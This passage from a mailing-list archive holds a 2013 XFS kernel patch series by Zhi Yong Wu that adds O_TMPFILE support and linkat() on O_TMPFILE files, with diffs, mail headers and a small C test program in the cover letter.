X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143182 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu Add two functions xfs_create_tmpfile() and xfs_vn_tmpfile() to support O_TMPFILE file creation. In contrast to xfs_create(), xfs_create_tmpfile() has a different log reservation to the regular file creation because there is no directory modification, and doesn't check if an entry can be added to the directory, but the reservation quotas is required appropriately, and finally its inode is added to the unlinked list. xfs_vn_tmpfile() add one O_TMPFILE method to VFS interface and directly invoke xfs_create_tmpfile(). Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 107 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_inode.h | 2 + fs/xfs/xfs_iops.c | 16 +++++++ fs/xfs/xfs_shared.h | 4 +- fs/xfs/xfs_trans_resv.c | 36 +++++++++++++++- fs/xfs/xfs_trans_resv.h | 2 + 6 files changed, 164 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index c79b875..ac133ea 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1333,6 +1333,113 @@ xfs_create( } int +xfs_create_tmpfile( + struct xfs_inode *dp, + struct dentry *dentry, + umode_t mode) +{ + struct xfs_mount *mp = dp->i_mount; + struct xfs_inode *ip = NULL; + struct xfs_trans *tp = NULL; + int error; + uint cancel_flags = XFS_TRANS_RELEASE_LOG_RES; + prid_t prid; + struct xfs_dquot *udqp = NULL; + struct xfs_dquot *gdqp = NULL; + struct xfs_dquot *pdqp = NULL; + struct xfs_trans_res *tres; + uint resblks; + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + prid = xfs_get_initial_prid(dp); + + /* + * Make sure that we have allocated dquot(s) on disk. + */ + error = xfs_qm_vop_dqalloc(dp, xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); + if (error) + return error; + + resblks = XFS_IALLOC_SPACE_RES(mp); + tp = xfs_trans_alloc(mp, XFS_TRANS_CREATE_TMPFILE); + + tres = &M_RES(mp)->tr_create_tmpfile; + error = xfs_trans_reserve(tp, tres, resblks, 0); + if (error == ENOSPC) { + /* No space at all so try a "no-allocation" reservation */ + resblks = 0; + error = xfs_trans_reserve(tp, tres, 0, 0); + } + if (error) { + cancel_flags = 0; + goto out_trans_cancel; + } + + error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, + pdqp, resblks, 1, 0); + if (error) + goto out_trans_cancel; + + error = xfs_dir_ialloc(&tp, dp, mode, 1, 0, + prid, resblks > 0, &ip, NULL); + if (error) { + if (error == ENOSPC) + goto out_trans_cancel; + goto out_trans_abort; + } + + if (mp->m_flags & XFS_MOUNT_WSYNC) + xfs_trans_set_sync(tp); + + /* + * Attach the dquot(s) to the inodes and modify them incore. + * These ids of the inode couldn't have changed since the new + * inode has been locked ever since it was created. + */ + xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); + + ip->i_d.di_nlink--; + d_tmpfile(dentry, VFS_I(ip)); + error = xfs_iunlink(tp, ip); + if (error) + goto out_trans_abort; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto out_release_inode; + + xfs_qm_dqrele(udqp); + xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); + + return 0; + + out_trans_abort: + cancel_flags |= XFS_TRANS_ABORT; + out_trans_cancel: + xfs_trans_cancel(tp, cancel_flags); + out_release_inode: + /* + * Wait until after the current transaction is aborted to + * release the inode. This prevents recursive transactions + * and deadlocks from xfs_inactive. + */ + if (ip) + IRELE(ip); + + xfs_qm_dqrele(udqp); + xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); + + return error; +} + +int xfs_link( xfs_inode_t *tdp, xfs_inode_t *sip, diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 6c58349..3a97820 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -333,6 +333,8 @@ int xfs_lookup(struct xfs_inode *dp, struct xfs_name *name, struct xfs_inode **ipp, struct xfs_name *ci_name); int xfs_create(struct xfs_inode *dp, struct xfs_name *name, umode_t mode, xfs_dev_t rdev, struct xfs_inode **ipp); +int xfs_create_tmpfile(struct xfs_inode *dp, struct dentry *dentry, + umode_t mode); int xfs_remove(struct xfs_inode *dp, struct xfs_name *name, struct xfs_inode *ip); int xfs_link(struct xfs_inode *tdp, struct xfs_inode *sip, diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 27e0e54..5ea7f85 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -39,6 +39,7 @@ #include "xfs_da_btree.h" #include "xfs_dir2_priv.h" #include "xfs_dinode.h" +#include "xfs_trans_space.h" #include #include @@ -1050,6 +1051,19 @@ xfs_vn_fiemap( return 0; } +STATIC int +xfs_vn_tmpfile( + struct inode *dir, + struct dentry *dentry, + umode_t mode) +{ + int error; + + error = xfs_create_tmpfile(XFS_I(dir), dentry, mode); + + return -error; +} + static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, .getattr = xfs_vn_getattr, @@ -1086,6 +1100,7 @@ static const struct inode_operations xfs_dir_inode_operations = { .removexattr = generic_removexattr, .listxattr = xfs_vn_listxattr, .update_time = xfs_vn_update_time, + .tmpfile = xfs_vn_tmpfile, }; static const struct inode_operations xfs_dir_ci_inode_operations = { @@ -1112,6 +1127,7 @@ static const struct inode_operations xfs_dir_ci_inode_operations = { .removexattr = generic_removexattr, .listxattr = xfs_vn_listxattr, .update_time = xfs_vn_update_time, + .tmpfile = xfs_vn_tmpfile, }; static const struct inode_operations xfs_symlink_inode_operations = { diff --git a/fs/xfs/xfs_shared.h b/fs/xfs/xfs_shared.h index 8c5035a1..4484e51 100644 --- a/fs/xfs/xfs_shared.h +++ b/fs/xfs/xfs_shared.h @@ -104,7 +104,8 @@ extern const struct xfs_buf_ops xfs_symlink_buf_ops; #define XFS_TRANS_SB_COUNT 41 #define XFS_TRANS_CHECKPOINT 42 #define XFS_TRANS_ICREATE 43 -#define XFS_TRANS_TYPE_MAX 43 +#define XFS_TRANS_CREATE_TMPFILE 44 +#define XFS_TRANS_TYPE_MAX 44 /* new transaction types need to be reflected in xfs_logprint(8) */ #define XFS_TRANS_TYPES \ @@ -112,6 +113,7 @@ extern const struct xfs_buf_ops xfs_symlink_buf_ops; { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ { XFS_TRANS_INACTIVE, "INACTIVE" }, \ { XFS_TRANS_CREATE, "CREATE" }, \ + { XFS_TRANS_CREATE_TMPFILE, "CREATE_TMPFILE" }, \ { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ { XFS_TRANS_REMOVE, "REMOVE" }, \ diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2fd59c0..bd3b4b7 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -229,6 +229,18 @@ xfs_calc_link_reservation( } /* + * For adding an inode to unlinked list we can modify: + * the agi hash list: sector size + * the unlinked inode: inode size + */ +STATIC uint +xfs_calc_iunlink_add_reservation(xfs_mount_t *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_inode_res(mp, 1); +} + +/* * For removing a directory entry we can modify: * the parent directory inode: inode size * the removed inode: inode size @@ -245,10 +257,11 @@ xfs_calc_remove_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_inode_res(mp, 2) + + xfs_calc_iunlink_add_reservation(mp) + + MAX((xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + (xfs_calc_buf_res(4, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), XFS_FSB_TO_B(mp, 1)))); } @@ -343,6 +356,20 @@ xfs_calc_create_reservation( } +STATIC uint +xfs_calc_create_tmpfile_reservation( + struct xfs_mount *mp) +{ + uint res = XFS_DQUOT_LOGRES(mp); + + if (xfs_sb_version_hascrc(&mp->m_sb)) + res += xfs_calc_icreate_resv_alloc(mp); + else + res += xfs_calc_create_resv_alloc(mp); + + return res + xfs_calc_iunlink_add_reservation(mp); +} + /* * Making a new directory is the same as creating a new file. */ @@ -729,6 +756,11 @@ xfs_trans_resv_calc( resp->tr_create.tr_logcount = XFS_CREATE_LOG_COUNT; resp->tr_create.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + resp->tr_create_tmpfile.tr_logres = + xfs_calc_create_tmpfile_reservation(mp); + resp->tr_create_tmpfile.tr_logcount = XFS_CREATE_TMPFILE_LOG_COUNT; + resp->tr_create_tmpfile.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + resp->tr_mkdir.tr_logres = xfs_calc_mkdir_reservation(mp); resp->tr_mkdir.tr_logcount = XFS_MKDIR_LOG_COUNT; resp->tr_mkdir.tr_logflags |= XFS_TRANS_PERM_LOG_RES; diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index de7de9a..285621d 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -38,6 +38,7 @@ struct xfs_trans_resv { struct xfs_trans_res tr_remove; /* unlink trans */ struct xfs_trans_res tr_symlink; /* symlink trans */ struct xfs_trans_res tr_create; /* create trans */ + struct xfs_trans_res tr_create_tmpfile; /* create O_TMPFILE trans */ struct xfs_trans_res tr_mkdir; /* mkdir trans */ struct xfs_trans_res tr_ifree; /* inode free trans */ struct xfs_trans_res tr_ichange; /* inode update trans */ @@ -100,6 +101,7 @@ struct xfs_trans_resv { #define XFS_ITRUNCATE_LOG_COUNT 2 #define XFS_INACTIVE_LOG_COUNT 2 #define XFS_CREATE_LOG_COUNT 2 +#define XFS_CREATE_TMPFILE_LOG_COUNT 2 #define XFS_MKDIR_LOG_COUNT 3 #define XFS_SYMLINK_LOG_COUNT 3 #define XFS_REMOVE_LOG_COUNT 2 -- 1.7.6.5 From zwu.kernel@gmail.com Tue Dec 17 18:16:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DB36329E17 for ; Tue, 17 Dec 2013 18:16:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6AE4304048 for ; Tue, 17 Dec 2013 16:16:11 -0800 (PST) X-ASG-Debug-ID: 1387325770-04cb6c537e7f0d90001-NocioJ Received: from e36.co.us.ibm.com (e36.co.us.ibm.com [32.97.110.154]) by cuda.sgi.com with ESMTP id Oiksz8MU6Qyh4t4s (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 16:16:10 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.154 Received: from /spool/local by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 17 Dec 2013 17:16:09 -0700 Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 17 Dec 2013 17:16:07 -0700 Received: from b03cxnp08025.gho.boulder.ibm.com (b03cxnp08025.gho.boulder.ibm.com [9.17.130.17]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 603BD3E40026 for ; Tue, 17 Dec 2013 17:16:06 -0700 (MST) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by b03cxnp08025.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBI0G6qN7405898 for ; Wed, 18 Dec 2013 01:16:06 +0100 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBI0G546011918 for ; Tue, 17 Dec 2013 17:16:06 -0700 Received: from us.ibm.com ([9.115.122.226]) by d03av04.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBI0G34A011788; Tue, 17 Dec 2013 17:16:04 -0700 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 18 Dec 2013 08:15:57 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH v2 3/3] xfs: allow linkat() on O_TMPFILE files Date: Wed, 18 Dec 2013 08:15:45 +0800 X-ASG-Orig-Subj: [PATCH v2 3/3] xfs: allow linkat() on O_TMPFILE files Message-Id: <1387325745-22003-4-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1387325745-22003-1-git-send-email-zwu.kernel@gmail.com> References: <1387325745-22003-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121800-3532-0000-0000-000003F128D2 X-Barracuda-Connect: e36.co.us.ibm.com[32.97.110.154] X-Barracuda-Start-Time: 1387325770 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143182 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu The VFS allows an anonymous temporary file to be named at a later time via a linkat() syscall. The inodes for O_TMPFILE files are are marked with a special flag I_LINKABLE and have a zero link count. To support this in XFS, xfs_link() detects if this flag I_LINKABLE is set and behaves appropriately when detected. So in this case, its transaciton reservation takes into account the additional overhead of removing the inode from the unlinked list. Then the inode is removed from the unlinked list and the directory entry is added. Finally its link count is bumped accordingly. Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 10 +++++++++- fs/xfs/xfs_trans_resv.c | 19 +++++++++++++++++-- fs/xfs/xfs_trans_resv.h | 1 + 3 files changed, 27 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index ac133ea..b08b5a8 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -61,6 +61,8 @@ kmem_zone_t *xfs_inode_zone; STATIC int xfs_iflush_int(xfs_inode_t *, xfs_buf_t *); +STATIC int xfs_iunlink_remove(xfs_trans_t *, xfs_inode_t *); + /* * helper function to extract extent size hint from inode */ @@ -1118,7 +1120,7 @@ xfs_bumplink( { xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); - ASSERT(ip->i_d.di_nlink > 0); + ASSERT(ip->i_d.di_nlink > 0 || (VFS_I(ip)->i_state & I_LINKABLE)); ip->i_d.di_nlink++; inc_nlink(VFS_I(ip)); if ((ip->i_d.di_version == 1) && @@ -1504,6 +1506,12 @@ xfs_link( xfs_bmap_init(&free_list, &first_block); + if (sip->i_d.di_nlink == 0) { + error = xfs_iunlink_remove(tp, sip); + if (error) + goto abort_return; + } + error = xfs_dir_createname(tp, tdp, target_name, sip->i_ino, &first_block, &free_list, resblks); if (error) diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index bd3b4b7..76f9a02 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -204,6 +204,20 @@ xfs_calc_rename_reservation( } /* + * For removing an inode from unlinked list at first, we can modify: + * the agi hash list and counters: sector size + * the on disk inode before ours in the agi hash list: inode cluster size + */ +STATIC uint +xfs_calc_iunlink_remove_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), + (__uint16_t)XFS_INODE_CLUSTER_SIZE(mp)); +} + +/* * For creating a link to an inode: * the parent directory inode: inode size * the linked inode: inode size @@ -220,6 +234,7 @@ xfs_calc_link_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + + xfs_calc_iunlink_remove_reservation(mp) + MAX((xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), @@ -410,9 +425,9 @@ xfs_calc_ifree_reservation( { return XFS_DQUOT_LOGRES(mp) + xfs_calc_inode_res(mp, 1) + - xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - max_t(uint, XFS_FSB_TO_B(mp, 1), XFS_INODE_CLUSTER_SIZE(mp)) + + xfs_calc_iunlink_remove_reservation(mp) + xfs_calc_buf_res(1, 0) + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + mp->m_in_maxlevels, 0) + diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index 285621d..899e2ef 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -106,6 +106,7 @@ struct xfs_trans_resv { #define XFS_SYMLINK_LOG_COUNT 3 #define XFS_REMOVE_LOG_COUNT 2 #define XFS_LINK_LOG_COUNT 2 +#define XFS_LINK_TMPFILE_LOG_COUNT 2 #define XFS_RENAME_LOG_COUNT 2 #define XFS_WRITE_LOG_COUNT 2 #define XFS_ADDAFORK_LOG_COUNT 2 -- 1.7.6.5 From zwu.kernel@gmail.com Tue Dec 17 18:22:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2532829DF8 for ; Tue, 17 Dec 2013 18:22:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0AE83304053 for ; Tue, 17 Dec 2013 16:22:57 -0800 (PST) X-ASG-Debug-ID: 1387326176-04cbb041677ec640001-NocioJ Received: from e38.co.us.ibm.com (e38.co.us.ibm.com [32.97.110.159]) by cuda.sgi.com with ESMTP id ri8ZAJP9UJtwjFau (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 16:22:57 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.159 Received: from /spool/local by e38.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 17 Dec 2013 17:22:56 -0700 Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e38.co.us.ibm.com (192.168.1.138) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 17 Dec 2013 17:22:53 -0700 Received: from b03cxnp07028.gho.boulder.ibm.com (b03cxnp07028.gho.boulder.ibm.com [9.17.130.15]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id E86D43E4003F for ; Tue, 17 Dec 2013 17:22:52 -0700 (MST) Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169]) by b03cxnp07028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBI0MoP87405982 for ; Wed, 18 Dec 2013 01:22:50 +0100 Received: from d03av03.boulder.ibm.com (localhost [127.0.0.1]) by d03av03.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBI0MqK4023116 for ; Tue, 17 Dec 2013 17:22:52 -0700 Received: from us.ibm.com ([9.115.122.226]) by d03av03.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBI0MnRd023054; Tue, 17 Dec 2013 17:22:50 -0700 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 18 Dec 2013 08:22:44 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH v2 0/3] xfs: add O_TMPFILE support Date: Wed, 18 Dec 2013 08:22:38 +0800 X-ASG-Orig-Subj: [PATCH v2 0/3] xfs: add O_TMPFILE support Message-Id: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121800-1344-0000-0000-000004363D8F X-Barracuda-Connect: e38.co.us.ibm.com[32.97.110.159] X-Barracuda-Start-Time: 1387326177 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143183 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu HI, folks It's time to post the latest revision out, welcome to any constructive comment, thanks. If anyone is interested in playing with it, you can get this patchset from my dev git on github: git://github.com/wuzhy/kernel.git xfs_tmpfile The patchset was tested against the code snippet from Andy Lutomirski and other test cases: http://lwn.net/Articles/562296/ If you have any other better test cases, please let me know, thanks. #include #include #include #include #include #define __O_TMPFILE 020000000 #define O_DIRECTORY 0200000 #define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) #define AT_EMPTY_PATH 0x1000 int main(int argc, char **argv) { char buf[128]; if (argc != 3) errx(1, "Usage: flinktest PATH linkat|proc"); int fd = open(".", O_TMPFILE | O_RDWR, 0600); if (fd == -1) err(1, "O_TMPFILE"); else printf("fd #: %d\n", fd); write(fd, "test", 4); if (!strcmp(argv[2], "linkat")) { if (linkat(fd, "", AT_FDCWD, argv[1], AT_EMPTY_PATH) != 0) err(1, "linkat"); } else if (!strcmp(argv[2], "proc")) { sprintf(buf, "/proc/self/fd/%d", fd); if (linkat(AT_FDCWD, buf, AT_FDCWD, argv[1], AT_SYMLINK_FOLLOW) != 0) err(1, "linkat"); } else { errx(1, "invalid mode"); } return 0; } Changelog from v1: - Fixed one chunk of the comments from Christoph Hellwig and Jeff Liu. v1: - Addressed the comments from Dave Chinner and Christoph Hellwig. Zhi Yong Wu (3): xfs: factor prid related codes into xfs_get_initial_prid() xfs: add O_TMPFILE support xfs: allow linkat() on O_TMPFILE files fs/xfs/xfs_inode.c | 123 ++++++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_inode.h | 12 +++++ fs/xfs/xfs_iops.c | 16 ++++++ fs/xfs/xfs_shared.h | 4 +- fs/xfs/xfs_symlink.c | 5 +-- fs/xfs/xfs_trans_resv.c | 55 +++++++++++++++++++-- fs/xfs/xfs_trans_resv.h | 2 + 7 files changed, 202 insertions(+), 15 deletions(-) -- 1.7.6.5 From zwu.kernel@gmail.com Tue Dec 17 18:23:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D98B029E05 for ; Tue, 17 Dec 2013 18:23:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5B6D4AC002 for ; Tue, 17 Dec 2013 16:23:05 -0800 (PST) X-ASG-Debug-ID: 1387326183-04cb6c537e7f10a0001-NocioJ Received: from e39.co.us.ibm.com (e39.co.us.ibm.com [32.97.110.160]) by cuda.sgi.com with ESMTP id itz1ohgR0ZsjU4rf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 16:23:04 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.160 Received: from /spool/local by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 17 Dec 2013 17:23:03 -0700 Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 17 Dec 2013 17:23:00 -0700 Received: from b03cxnp07027.gho.boulder.ibm.com (b03cxnp07027.gho.boulder.ibm.com [9.17.130.14]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 2CF443E40045 for ; Tue, 17 Dec 2013 17:23:00 -0700 (MST) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by b03cxnp07027.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBI0MwHH10027392 for ; Wed, 18 Dec 2013 01:22:58 +0100 Received: from d03av02.boulder.ibm.com (localhost [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBI0Mxal015293 for ; Tue, 17 Dec 2013 17:22:59 -0700 Received: from us.ibm.com ([9.115.122.226]) by d03av02.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBI0MuJL015123; Tue, 17 Dec 2013 17:22:57 -0700 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 18 Dec 2013 08:22:51 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH v2 1/3] xfs: factor prid related codes into xfs_get_initial_prid() Date: Wed, 18 Dec 2013 08:22:39 +0800 X-ASG-Orig-Subj: [PATCH v2 1/3] xfs: factor prid related codes into xfs_get_initial_prid() Message-Id: <1387326161-24530-2-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121800-9332-0000-0000-0000028764DF X-Barracuda-Connect: e39.co.us.ibm.com[32.97.110.160] X-Barracuda-Start-Time: 1387326183 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143183 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu It will be reused by the O_TMPFILE creation function. Reviewed-by: Christoph Hellwig Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 6 +----- fs/xfs/xfs_inode.h | 10 ++++++++++ fs/xfs/xfs_symlink.c | 5 +---- 3 files changed, 12 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 001aa89..c79b875 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -42,7 +42,6 @@ #include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_quota.h" -#include "xfs_dinode.h" #include "xfs_filestream.h" #include "xfs_cksum.h" #include "xfs_trace.h" @@ -1169,10 +1168,7 @@ xfs_create( if (XFS_FORCED_SHUTDOWN(mp)) return XFS_ERROR(EIO); - if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) - prid = xfs_get_projid(dp); - else - prid = XFS_PROJID_DEFAULT; + prid = xfs_get_initial_prid(dp); /* * Make sure that we have allocated dquot(s) on disk. diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 9e6efccb..6c58349 100644 --- a/fs/xfs/xfs_inode.h +++ 